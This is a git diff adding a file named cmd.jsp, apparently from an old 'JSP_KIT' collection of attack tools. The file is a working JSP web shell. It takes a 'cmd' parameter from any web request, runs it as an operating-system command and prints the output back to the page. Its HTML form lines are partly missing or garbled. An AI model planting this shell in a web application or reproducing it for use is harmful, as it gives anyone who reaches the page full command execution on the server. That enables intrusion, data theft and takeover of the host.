diff --git a/jsp/cmd.jsp b/jsp/cmd.jsp new file mode 100644 index 0000000..8a7cb43 --- /dev/null +++ b/jsp/cmd.jsp @@ -0,0 +1,34 @@ +<%@ page import="java.util.*,java.io.*"%> +<% +// +// JSP_KIT +// +// cmd.jsp = Command Execution (unix) +// +// by: Unknown +// modified: 27/06/2003 +// +%> + +
+ + +
+
+<%
+if (request.getParameter("cmd") != null) {
+        out.println("Command: " + request.getParameter("cmd") + "
"); + Process p = Runtime.getRuntime().exec(request.getParameter("cmd")); + OutputStream os = p.getOutputStream(); + InputStream in = p.getInputStream(); + DataInputStream dis = new DataInputStream(in); + String disr = dis.readLine(); + while ( disr != null ) { + out.println(disr); + disr = dis.readLine(); + } + } +%> +
+ +